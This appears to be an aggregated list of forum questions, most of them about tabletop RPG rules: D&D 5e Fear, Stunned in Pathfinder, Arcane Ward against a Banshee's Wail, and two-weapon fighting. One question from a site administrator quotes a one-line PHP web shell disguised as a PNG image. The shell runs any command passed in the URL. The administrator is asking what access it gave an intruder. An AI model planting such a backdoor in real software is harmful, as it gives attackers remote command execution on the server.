Imagine a (D&D 5e) spellcaster casts Fear on an enemy, and the enemy fails their Wisdom saving throw. On its turn, the enemy drops what it’s holding and takes the Dash action, running away from the spellcaster and around a corner, putting it out of sight of the spellcaster. The enemy ends its turn out-of-sight of the spellcaster, so it can make the Wisdom saving throw again; again, it fails. On its next turn does the enemy have to continue running away? Even though it’s out of sight of the spellcaster? My reading of the spell is yes: they have to continue to run away until they succeed on the save (or the spellcaster drops the spell for some other reason). Is this right, or can the enemy remain in place out-of-sight? (They obviously can’t approach closer to the spellcaster because they’re affected by the frightened condition.)
Page 622 of the Core Rulebook defines the Stunned condition:
You’ve become senseless. You can’t act while stunned. Stunned usually includes a value, possibly over multiple turns, from being stunned. Each time you regain actions (such as at the start of your turn), reduce the number you regain by your stunned value, then reduce your stunned value by the number of actions you lost. …
I’ve created a creature that can stun a PC as a result of the PC attacking it with a melee weapon. This means that the PC could be stunned mid-turn.
Now, rules as written, the above paragraph reads like this:
- You can’t act when stunned.
- Stunned value "ticks down" each time you regain actions.
- Therefore, if you are stunned during your turn, "you can’t act," so you simply lose your remaining actions. Then, at the start of your turn when you regain actions, Stunned ticks down and you may be able to act again on that turn if Stunned reduced to zero.
So, if a PC takes their first action and become Stunned 1, they will actually lose a total of three actions: the remaining two actions on their current turn, then one action when they regain actions next turn.
Is this the correct interpretation? Or should Stunned start ticking down immediately, so that in the above example, the PC would lose their second action on that turn, go down to Stunned 0, and then be able to take their third action?
Can an Arcane Trickster or Eldritch Knight who takes the Magic Initiate (Wizard) feat cast the first level spell they pick with their spell slots, like a Bard who took Magic Initiate (Bard) can? Or the Wizard for that matter?
Both AT and EK uses the wizard spell list, so one could assume so, but can they?
The Player’s Handbook states (emphasis mine):
An incapacitated creature can’t take actions or reactions.
Suppose I am fighting a creature that has a multiattack, and I have an ability that can incapacitate a creature as a reaction. If the creature has completed the first attack in its multiattack, could I prevent the remainder of its attacks with my ability? Or is it too late, since the remaining attacks aren’t actions?
The rules on ysoki cheek pouches are rather vague on whether objects held inside them are actually concealed. It seems possible that someone else would be able to determine that the ysoki was concealing something either by visible bulge or by the impact the object has on the ysoki’s speech. Is there any published Starfinder source that addresses this question? If not, is there anything about rodent biology that suggests a good ruling?
Due to a customer running old WordPress plugins, a php file with the following code was added to their website:
‰PNG <?php $ str = $ _GET['cmd']; system($ str); ?>
The above file was detected by Wordfence as "Backdoor:PNG/ImageMagic.7484 Executable code masquerading as an image."
This (or another exploit) appears to have give the intruder the ability to at least upload files as text files containing the words "Hacked by …" were added to various places on the server.
Using this exploit, what kind of access would be allowed onto the server besides the ability to upload files? Could they have also downloaded files from anywhere on the server?
We are running a cPanel environment on Apache, MySQL and PHP.
Once per turn when you hit a creature with your pact weapon, you can expend a warlock spell slot to deal an extra 1d8 force damage to the target, plus another 1d8 per level of the spell slot, and you can knock the target prone if it is Huge or smaller.
Since it says "can knock the target prone." I assumed it was optional, (though you wouldn’t have much reason not to if in melee, within 5 ft.)
An abjuration wizard has the Arcane Ward class feature (PHB, p. 115):
Starting at 2nd level, you can weave magic around yourself for protection. When you cast an abjuration spell of 1st level or higher, you can simultaneously use a strand of the spell’s magic to create a magical ward on yourself that lasts until you finish a long rest. The ward has hit points equal to twice your wizard level + your Intelligence modifier. Whenever you take damage, the ward takes the damage instead. If this damage reduces the ward to 0 hit points, you take any remaining damage.
A Banshee (MM, p. 23) has the Wail action:
Wail (1/Day). The banshee releases a mournful wail, provided that she isn’t in sunlight. This wail has no effect on constructs and undead. All other creatures within 30 feet of her that can hear her must make a DC 13 Constitution saving throw. On a failure, a creature drops to 0 hit points. On a success, a creature takes 10 (3d6) psychic damage.
If an abjuration wizard who has an Arcane Ward active fails their saving throw against a Banshee’s Wail, they would drop to 0 hit points. What happens to their ward?
- Does it drop to 0 hit points instead of the wizard (meaning the wizard does not drop to 0 hit points)? The Wail ability is not damage (if you fail the save), whereas the Arcane Ward specifically mentions damage, so I assume this isn’t how it works…
- Does it disappear when the wizard drops to 0 hit points? I don’t think anything about the Banshee’s Wail or dropping to 0 hit points generally would make it disappear…
- Does it remain active? I’m assuming this is the most likely answer, given my above reasoning…
On the Wild Magic Sorcerer’s Wild Magic Table, (PHB p.104), getting a roll of 33-34 results in:
Maximize the damage of the next damaging spell you cast within the next minute.
What happens if the sorcerer casts an attack roll spell that deals damage, and misses the target? I am being confused by the term "damaging." Is a "Damaging Spell" a hidden category of spell that can be cast, and thus means casting the spell ends this effect? or does the spell need to apply damage in order to be damaging, and would therefore need to hit for the effect to happen?
I think I’m clear on two-weapon fighting (thanks to Two-Weapon Fighting & Bonus Action in 5e) except for one thing. The PHB says (p. 195):
When you take the Attack action and attack with a light melee weapon that you’re holding in one hand, you can use a bonus action to attack with a different light melee weapon that you’re holding in the other hand. [emphasis mine]
Does a “different” weapon mean a different type of weapon, or just a different physical instance of a weapon? In other words, can I fight with two shortswords (one in each hand), or would I have to use a dagger or some other type of light weapon in my off hand?